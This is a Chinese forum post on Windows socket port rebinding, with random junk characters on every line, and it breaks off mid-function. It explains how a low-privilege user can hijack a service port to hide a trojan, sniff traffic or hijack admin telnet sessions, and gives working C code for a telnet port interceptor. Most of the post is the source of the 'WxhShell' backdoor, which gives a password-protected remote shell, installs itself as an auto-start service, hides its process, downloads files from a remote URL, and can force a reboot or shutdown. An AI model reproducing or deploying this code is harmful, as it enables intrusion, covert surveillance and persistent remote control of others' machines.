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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j)@W1I]2#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); URVW5c  
>)K3  
  saddr.sin_family = AF_INET; !/}4_s`,  
/o4_rzR?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j"jssbu}  
0Px Hf*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JlSqTfA  
]{tWfv|Xg8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :Ou~?q%X  
6@|!m'  
  这意味着什么?意味着可以进行如下的攻击: >.SO2w  
T]0K4dp+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Uv59 XF$  
M.H!dZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S:!5 |o|  
u/W{JPlL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R V#w 0 r  
7b1 yF,N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :+ YHj )mN  
TD\TVK3P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .EhC\QpP  
Yh]a4l0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bAt!S  
9?Bh8%$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hEjvtfM9\-  
\WE/#To  
  #include 0faf4LzU!  
  #include VsA_x  
  #include $idToOkw  
  #include    y1 a%f.F`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zDYJe_m ~  
  int main() yi^X?E{WnX  
  { 7NEOaX(J9  
  WORD wVersionRequested; 4"PA7 e  
  DWORD ret; OC5oxL2HTe  
  WSADATA wsaData; 0084`&Ki  
  BOOL val;  '0f!o&?g  
  SOCKADDR_IN saddr; @%g:'^/  
  SOCKADDR_IN scaddr; _Nh])p-  
  int err; oxFd@WV5  
  SOCKET s;  e$  
  SOCKET sc; >%"TrAt  
  int caddsize; p YCMJK-H  
  HANDLE mt; {X, -T&  
  DWORD tid;   GGHMpQ   
  wVersionRequested = MAKEWORD( 2, 2 ); |%4nU#GoB  
  err = WSAStartup( wVersionRequested, &wsaData ); h(2{+Y+  
  if ( err != 0 ) { Gad&3M0r  
  printf("error!WSAStartup failed!\n"); []\-*{^r  
  return -1; ]UO zz1   
  } oItC;T  
  saddr.sin_family = AF_INET; f$ /C.E  
   g?1bEOA!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [ GknE#p  
-0(+a$P7e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (QFZM"G  
  saddr.sin_port = htons(23); (q"S0{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iMVQt1/  
  { ~i-n_7+  
  printf("error!socket failed!\n"); 0Wd5s{S  
  return -1; \sGJs8#v][  
  } "QfF]/:  
  val = TRUE; 2v?#r"d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gd3MP^O1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) / pe.?Zd  
  { `iuQ.I  
  printf("error!setsockopt failed!\n"); 3 } $9./+  
  return -1; M|{KQ3q:9  
  } =]Y'xzJuu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D{]w +  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "`K73M,c?9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l7ES*==&@0  
cmf*BkS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M9V,;*  
  { 3rh t5n2-  
  ret=GetLastError(); k="w EZ;Q  
  printf("error!bind failed!\n"); L#vk77  
  return -1; W[!bF'- 10  
  } n\JSt}A  
  listen(s,2); ),;h  
  while(1) 7B _Wz9y  
  { 09Oe-Bg  
  caddsize = sizeof(scaddr); Xa8_kv_  
  //接受连接请求 -?T|1FA,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^-# :T  
  if(sc!=INVALID_SOCKET) IxG0TJ_  
  { Qe[ai?iJkt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ORo +]9)Yv  
  if(mt==NULL) tchpO3u,  
  { MoC/xF&  
  printf("Thread Creat Failed!\n"); b4^a zY  
  break; t I +]x]m+  
  } Iq;a!Lya-  
  } #$t93EI  
  CloseHandle(mt); ZCuh^  
  } ng2yZ @$  
  closesocket(s); 78z/D|{"  
  WSACleanup(); Se/]J<]  
  return 0; !Je!;mEvI  
  }   q[Y* .%~  
  DWORD WINAPI ClientThread(LPVOID lpParam) xs  >Y  
  { h" YA>_1  
  SOCKET ss = (SOCKET)lpParam; b#e|#!Je  
  SOCKET sc; ELV$!f|u  
  unsigned char buf[4096]; +]Bx4r?p  
  SOCKADDR_IN saddr; QZ-6aq\sgp  
  long num; Rm.9`<Y  
  DWORD val; ilj9&.isB  
  DWORD ret; ctC! b{S"@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kZ_5R#xK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cRPy5['E  
  saddr.sin_family = AF_INET; JENq?$S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `Oi6o[a  
  saddr.sin_port = htons(23); `H;O! ty&d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]kkH|b$[T  
  { 2L2)``*   
  printf("error!socket failed!\n"); IW|1)8d  
  return -1; yw?UA  
  } +QrbW  
  val = 100; p)Q='  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FCr>$  
  { X15e~;&  
  ret = GetLastError(); u|8V7*)3  
  return -1; V,9UOC,Gn  
  } BI)$aR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Yv;18j*<  
  { k3"Y!Uha:  
  ret = GetLastError(); _{gRCR)  
  return -1; v/Ei0}e6~  
  } !U+XIr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {,m W7  
  { 'v3> "b  
  printf("error!socket connect failed!\n"); ZYW=#df R  
  closesocket(sc); b~;+E#[*  
  closesocket(ss); a U*cwR  
  return -1; ab5z&7Re6  
  } {wf e!f  
  while(1) T*C]:=)  
  { zw X 1&rN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w0t||qj^>"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4THGHS^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PAXdIh[]  
  num = recv(ss,buf,4096,0); UG9 Ha  
  if(num>0) ,}#l0 BY  
  send(sc,buf,num,0); \xaK?_hv  
  else if(num==0) 5SY(:!  
  break; q:v&wb%  
  num = recv(sc,buf,4096,0); )![? JXf  
  if(num>0) ('p~h-9Vi  
  send(ss,buf,num,0); ,NaNih1  
  else if(num==0)  bR5+({yH  
  break; ?g'? Ou  
  } *e05{C:kS  
  closesocket(ss); "(d7:!%  
  closesocket(sc); Go_~8w0<  
  return 0 ; )Wm:Ilq  
  } DbkKmv&  
pEE.%U  
F4Gv=q)Z  
========================================================== '`Z5 .<n7p  
{o[ *S%Z"  
下边附上一个代码,,WXhSHELL Cc,,e`  
rt\4We,7  
========================================================== h=~ TgTv  
#}!Ge  
#include "stdafx.h" c`&<"Us  
ON=6w_  
#include <stdio.h> ZjXpMx,  
#include <string.h> s k_Q\0a  
#include <windows.h> EWg\\90  
#include <winsock2.h> Bq]eNq  
#include <winsvc.h> x, ^j=n  
#include <urlmon.h> LY^pmak  
Xj<B!Wn*Xb  
#pragma comment (lib, "Ws2_32.lib") 5)GO  
#pragma comment (lib, "urlmon.lib") C_= WL(  
9IC|2w66  
#define MAX_USER   100 // 最大客户端连接数  + >oA@z  
#define BUF_SOCK   200 // sock buffer .qCD(XZ+  
#define KEY_BUFF   255 // 输入 buffer ^J]~&.l  
1yN/+Rq  
#define REBOOT     0   // 重启 hIPU%  
#define SHUTDOWN   1   // 关机 zj^Ys`nl  
(TV ye4Z  
#define DEF_PORT   5000 // 监听端口 0)'^vJe  
<k&Q"X:"  
#define REG_LEN     16   // 注册表键长度 Q=%1@ ,x"  
#define SVC_LEN     80   // NT服务名长度 ~sSlfQWMzy  
#yv_Eb02  
// 从dll定义API tPHDnh^n]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \]W*0t>s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f6ad@2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >8nRP%r[5,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d-=/@N!4e  
l(@UpV-  
// wxhshell配置信息 G~I@'[ur  
struct WSCFG { IgOo2N"^l  
  int ws_port;         // 监听端口 iC`K$LY4W  
  char ws_passstr[REG_LEN]; // 口令 !e >EDYbY  
  int ws_autoins;       // 安装标记, 1=yes 0=no /JfRy%31  
  char ws_regname[REG_LEN]; // 注册表键名 )FkJ=P0  
  char ws_svcname[REG_LEN]; // 服务名 :.IVf Zw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VMUK|pC4 K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mRw &^7r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h$FpH\-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +tNu8M@xFo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >?q()>l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kmm1b (  
k!K}<sX2  
}; shOQ/  
d3# >\QCD9  
// default Wxhshell configuration hSq3LoHV  
struct WSCFG wscfg={DEF_PORT, sV+/JDl  
    "xuhuanlingzhe", `2y2Bk  
    1, brGUK PB  
    "Wxhshell", ([='LyH];z  
    "Wxhshell", R;gN^Yjk:  
            "WxhShell Service", PG8|w[V1"  
    "Wrsky Windows CmdShell Service", 7Xi)[M?)#  
    "Please Input Your Password: ", 5uu Zt0V\  
  1, ~1Q$FgLk  
  "http://www.wrsky.com/wxhshell.exe", 8M;VX3X  
  "Wxhshell.exe" G_{x)@  
    }; 1;R1Fj&  
V6Y:l9  
// 消息定义模块 $UAmUQg)}_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CxC&+';  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LoQm&3/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #N?EPV$  
char *msg_ws_ext="\n\rExit."; 0Kxc$c  
char *msg_ws_end="\n\rQuit."; +^ n\?!  
char *msg_ws_boot="\n\rReboot..."; j^}p'w Tu{  
char *msg_ws_poff="\n\rShutdown..."; pDO&I]S`q0  
char *msg_ws_down="\n\rSave to "; (5] |Kcp|  
'Jww}^h1  
char *msg_ws_err="\n\rErr!"; e.%` tK3J  
char *msg_ws_ok="\n\rOK!"; K%ltB&  
B(x i  
char ExeFile[MAX_PATH]; cTpAU9|(  
int nUser = 0; =l TV2C<  
HANDLE handles[MAX_USER]; qr[H0f]  
int OsIsNt; pt&(c[  
%Uj7 g>  
SERVICE_STATUS       serviceStatus; Gk0f#;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A>8uLO G}  
.olDmFQD  
// 函数声明 =#||&1U$  
int Install(void); q$Z.5EN  
int Uninstall(void); ,lLkAd?q  
int DownloadFile(char *sURL, SOCKET wsh); #wL}4VN  
int Boot(int flag); V8w!yc  
void HideProc(void); 1H{M0e  
int GetOsVer(void); sHx>UvN6  
int Wxhshell(SOCKET wsl); RfVVAaI  
void TalkWithClient(void *cs); )54;YK  
int CmdShell(SOCKET sock); $bRakF1'S  
int StartFromService(void); ?+)O4?#  
int StartWxhshell(LPSTR lpCmdLine); c0.i  
fJ_d ,4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;ZMm6o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s+;J`_M  
^| L@f  
// 数据结构和表定义 a%a_sR\)  
SERVICE_TABLE_ENTRY DispatchTable[] = _,Wb`P  
{ =Jd ('r  
{wscfg.ws_svcname, NTServiceMain}, 3A'vq2beM  
{NULL, NULL} s*.CJ  
}; XS5*=hv:  
,b2YUb]U  
// 自我安装 7yGc@kJ?  
int Install(void) m?I$XAE  
{  ~{7/v  
  char svExeFile[MAX_PATH]; <QoSq'g#,=  
  HKEY key; #gzY _)E  
  strcpy(svExeFile,ExeFile); [;3` Aw  
/ E~)xgPM<  
// 如果是win9x系统,修改注册表设为自启动 =c 3;@CO  
if(!OsIsNt) { Ww&~ZZZ {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .'QE o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !P X`sIkT  
  RegCloseKey(key); bM[!E8dF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <u2rb6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `wRQ-<Y  
  RegCloseKey(key); ^a&-GhX;  
  return 0; 2JNO@  
    } &eYnO~$!  
  } @C]]VE  
} 1oq5|2p  
else { tJ>|t hk  
jU\vg;nr  
// 如果是NT以上系统,安装为系统服务 ?;Ck]l#5ys  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +cS%b}O`$  
if (schSCManager!=0) -F.A1{l[.  
{ '|mVY; i[  
  SC_HANDLE schService = CreateService UX3 ]cr  
  ( {[~cQgCI  
  schSCManager, wg<UCmfu!  
  wscfg.ws_svcname, %$K2$dq5  
  wscfg.ws_svcdisp, "L yMw){  
  SERVICE_ALL_ACCESS, 34ij5bko_)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ve,h]/G  
  SERVICE_AUTO_START, +L(0R&C  
  SERVICE_ERROR_NORMAL, i;4|UeUl  
  svExeFile, nX,2jT;@L  
  NULL, w E^6DNh  
  NULL, C{mL]ds<  
  NULL, tHlKo0S$0  
  NULL, 4 [2^#t[  
  NULL H'N$Vv2q  
  ); 6[g~p< 8n}  
  if (schService!=0) XRi/O)98o  
  { P70\ |M0~y  
  CloseServiceHandle(schService); DA'A-C2  
  CloseServiceHandle(schSCManager); f>$Ld1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;Ml??B]C  
  strcat(svExeFile,wscfg.ws_svcname); M{#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !Z +4FwF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {k.Dy92  
  RegCloseKey(key); >iefEv\  
  return 0; 1T(:bM_t`7  
    } 3QlV,)}  
  } 6*3J3Lc_<  
  CloseServiceHandle(schSCManager); ^+Ho#]  
} t[Dg)adc  
} ,VK! 3$;|  
FwU*]wx|{  
return 1; '_)NI  
} e_3KNQ`kA  
]^9B%t s9  
// 自我卸载 fNz*E|]8&  
int Uninstall(void) {oIv%U9  
{ )U4h?J  
  HKEY key; Q}# 5mf&cD  
-oGJPl{r  
if(!OsIsNt) { 2w>l nJ-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TE+d?  
  RegDeleteValue(key,wscfg.ws_regname); UO%Vu C5B  
  RegCloseKey(key); 1eG@?~G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 qdLH^dX  
  RegDeleteValue(key,wscfg.ws_regname); -P!_<\q\l  
  RegCloseKey(key); TUeW-'/1  
  return 0; 7bBOV(/s  
  } {)^P_zha[9  
} 6L--FY>.-  
} }q0lbwYlb  
else { f@@2@# 5B  
e jY|o Bj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Efo,5  
if (schSCManager!=0) qucw%hJr  
{ z:PH _N~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PVBf'  
  if (schService!=0) 8ut:cCrmg  
  { b?&=gm%oU  
  if(DeleteService(schService)!=0) { u+7B-l=u*  
  CloseServiceHandle(schService); YLc 2:9  
  CloseServiceHandle(schSCManager); `V N $ S  
  return 0; EA )28]Y.  
  } _H#l&bL@C  
  CloseServiceHandle(schService); J)6A,:wt  
  } "m^whHj  
  CloseServiceHandle(schSCManager); [kc%+j<g  
} z?C;z7eT  
} p)M\q fZ  
~z''kH=e  
return 1; J:M)gh~#  
} 9A]XuPAlh  
XxT7YCi  
// 从指定url下载文件 Bsm>^zZ`YU  
int DownloadFile(char *sURL, SOCKET wsh) $)OUOv  
{ h'8w<n+%)  
  HRESULT hr; 7Gb(&'n  
char seps[]= "/"; s(yVE  
char *token; 5gpqN)|)[  
char *file; /$OX'L&b  
char myURL[MAX_PATH]; Kgi| 7w  
char myFILE[MAX_PATH]; u*R9x3&/5  
pa0'\  
strcpy(myURL,sURL); F+e J9  
  token=strtok(myURL,seps); o!Vs{RRu}  
  while(token!=NULL) yK"OZ2Mv  
  { ~;/\l=Xl  
    file=token; ypxqW8Xe  
  token=strtok(NULL,seps); ,z}wR::%  
  } o6e6Jw  
$"Oy }  
GetCurrentDirectory(MAX_PATH,myFILE); ;]<{ <czc  
strcat(myFILE, "\\"); B!jINOg  
strcat(myFILE, file); [ e4)"A"  
  send(wsh,myFILE,strlen(myFILE),0); !x9j~D'C`  
send(wsh,"...",3,0); 9g" 1WZ!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &dSw[C#f  
  if(hr==S_OK) {},rbQ -  
return 0; zdA:K25"  
else =l`xXma  
return 1; 1XZ|}Xz  
]Y[8|HJ8  
} v2<roG6.V  
^ K8JE,  
// 系统电源模块 _`!@  
int Boot(int flag) Y =3:Q%X  
{ \6B,\l]$t@  
  HANDLE hToken; e=t?mDh#E  
  TOKEN_PRIVILEGES tkp; C~M~2@Iori  
uNLB3Rdy}  
  if(OsIsNt) { hA`>SkO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XezO_V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HF-Msu6  
    tkp.PrivilegeCount = 1; t`{^gt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sV7dgvVd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lj"L Q(^  
if(flag==REBOOT) { P=& Je?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y^gK^ ?K  
  return 0; C]UBu-]#S  
} LX.1]T*m`  
else { 6l#1E#]|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fSp(}'m2L  
  return 0; d#T8|#O"  
} P[{w23`4  
  } JH!qGV1  
  else { _C?<re3*  
if(flag==REBOOT) { |7Z,z0 ?V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >vg!<%]W]  
  return 0; 9/w'4bd  
} YgaJ*%\  
else { V"VWHAu*.w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3OHP-oa.  
  return 0; 9frx60  
} r @~T}<I  
} -"5x? \.{m  
o}5:vi]  
return 1; Yfy6o6*:  
} $4kc i@.  
XKp%7;  
// win9x进程隐藏模块 yz-IZt(  
void HideProc(void) sZ-]yr\E"  
{ =S@$"_&  
ovCk :Vz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,TU!W|($  
  if ( hKernel != NULL ) uMF\3T(x4  
  {  1$idF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B@*BcE?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %dZD;Vhg  
    FreeLibrary(hKernel); xtjTU;T  
  } 9Q :IgY?T  
?{qw /&  
return; vnz.81OR  
} t; n6Q0  
h`%K \C  
// 获取操作系统版本 14\%2nE  
int GetOsVer(void) .]ZM2  
{ i`r,B`V`08  
  OSVERSIONINFO winfo; f7X#cs)a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &tZ?%sr  
  GetVersionEx(&winfo); 6f=/vRAh$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p'k stiB  
  return 1; @Risab n  
  else ,@!8jar@w}  
  return 0;  wB5zp  
} 7V0:^Jov  
MV$>|^'em  
// 客户端句柄模块 #`a-b<uz  
int Wxhshell(SOCKET wsl) UVu"meZX  
{ |dD!@K  
  SOCKET wsh;  -/  
  struct sockaddr_in client; 3HbHl?-UNU  
  DWORD myID; Kggf!\MR8  
1:7>Em<s  
  while(nUser<MAX_USER) D4'? V Iz  
{ Bx&` $lW  
  int nSize=sizeof(client); 0 P/A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O( he  
  if(wsh==INVALID_SOCKET) return 1; w0SzK-&  
YO!,m<b^u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); = k3O4gE7  
if(handles[nUser]==0) q~trn'X>  
  closesocket(wsh); |!%A1 wp#  
else *U54x /w|  
  nUser++; QVn0!R{  
  } [&nwB!kt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U]R?O5K  
8tA.d.8  
  return 0; wt2S[:!p  
} + y.IDn^  
,_rarU)[J  
// 关闭 socket =La}^  
void CloseIt(SOCKET wsh) 9b]U&A$  
{ *BXtE8 BU  
closesocket(wsh); $%r|V*5  
nUser--; 6xL=JSi~  
ExitThread(0); 0y;&L63>T  
} #j-,#P@  
2+=|!+f  
// 客户端请求句柄 HC{|D>x.  
void TalkWithClient(void *cs) />ob*sk/Y  
{ .?I!/;=[  
iZMsN*9[  
  SOCKET wsh=(SOCKET)cs; #-'}r}1ZT  
  char pwd[SVC_LEN]; k|A!5A2  
  char cmd[KEY_BUFF]; ]Vb#(2<2  
char chr[1]; =V5.c+  
int i,j; h!K B%4V  
IJ4"X#Q/  
  while (nUser < MAX_USER) { %- A8`lf<  
Qmn5umd=?\  
if(wscfg.ws_passstr) { WP]<\_r2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HAO/r`7*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v9inBBC q  
  //ZeroMemory(pwd,KEY_BUFF); M8[YW|VkP  
      i=0; sx]?^KR:  
  while(i<SVC_LEN) { uTl:u  
/kw4":{]  
  // 设置超时 yN>"r2   
  fd_set FdRead; MT6kJDyLu  
  struct timeval TimeOut; ,o9)ohw  
  FD_ZERO(&FdRead); #eUfwd6.Y  
  FD_SET(wsh,&FdRead); ~5!ukGK_  
  TimeOut.tv_sec=8; pK'WJ 72U  
  TimeOut.tv_usec=0; EW5S%Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b,Z& P|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g~B@=R  
+W;B8^imG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `n5c|`6  
  pwd=chr[0]; E<\\'VF  
  if(chr[0]==0xd || chr[0]==0xa) { *<Ddn&_  
  pwd=0; oVq@M  
  break; \B}W(^\wg;  
  } c<D Yk f  
  i++; 5ef&Ih.3  
    } k oHY AF  
@\"*Z&]8z0  
  // 如果是非法用户,关闭 socket chd${ j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }MIH{CMH  
} >}4]51s  
)F~>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [CUJA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?1N0+OW   
y:42H tS  
while(1) { 19N:9;Ixz  
xJ"Zg]d{  
  ZeroMemory(cmd,KEY_BUFF); /ruf1?\,R  
6~!YEuA  
      // 自动支持客户端 telnet标准   4X\*kF%  
  j=0; 8m1zL[.8g  
  while(j<KEY_BUFF) { z=K5~nU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i*^K)SI8  
  cmd[j]=chr[0]; RChY+3,L)  
  if(chr[0]==0xa || chr[0]==0xd) { LqUvEq  
  cmd[j]=0; 3FXMM&w  
  break; gx6&'${=#  
  } +%<Jr<~W  
  j++; ;9I#>u  
    } BphF+'CM  
I"!gzI`Sd  
  // 下载文件 OeAPBhTmFj  
  if(strstr(cmd,"http://")) { z9+94<J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )/U1; O  
  if(DownloadFile(cmd,wsh)) I L\mFjZ'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i&HV8&KygN  
  else :_aY:`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U3V<ITZI8t  
  } 6)3eB{$;  
  else { b?Jm)  
DA wzXsx  
    switch(cmd[0]) { }2 r08,m  
  ?Tl@e   
  // 帮助 xw-q)u  
  case '?': { &*y ve}su  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }fCM_w  
    break; K%gFD?{^q  
  } )m'_>-`^:  
  // 安装 P\AH9#XL  
  case 'i': { UF%5/SiVX  
    if(Install()) 3LxJ}>]TO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }O>Zu[8a  
    else q#a21~S<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,9pi9\S  
    break; v8@dvT<  
    } @i68%6H`?  
  // 卸载 YiJu48J  
  case 'r': { Q&#:M>!|  
    if(Uninstall()) Yq Fzbm{\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d5=xOEv; :  
    else 6wd]X-G++  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q|1bF!#(1  
    break; :$tW9*\KY  
    } "n e'iJf_(  
  // 显示 wxhshell 所在路径 G 6, 8Xwk  
  case 'p': { q kKABow  
    char svExeFile[MAX_PATH]; \l2 s^7G_  
    strcpy(svExeFile,"\n\r"); oTfbx+i/G  
      strcat(svExeFile,ExeFile);  KC(Ug4  
        send(wsh,svExeFile,strlen(svExeFile),0); ^~aSrREo  
    break; |pgkl`  
    } :L[6a>"neE  
  // 重启 vj b?N  
  case 'b': { m#ie{u^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2|=_kN8;  
    if(Boot(REBOOT)) kwL) &@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ih7Eq/iu  
    else { ry\']\k  
    closesocket(wsh); o{he) r6)_  
    ExitThread(0); q"Md)?5N  
    } #K l2K4  
    break; +o3g]0  
    } z3C^L  
  // 关机 8<kme"% s  
  case 'd': { #~+#72+x7  
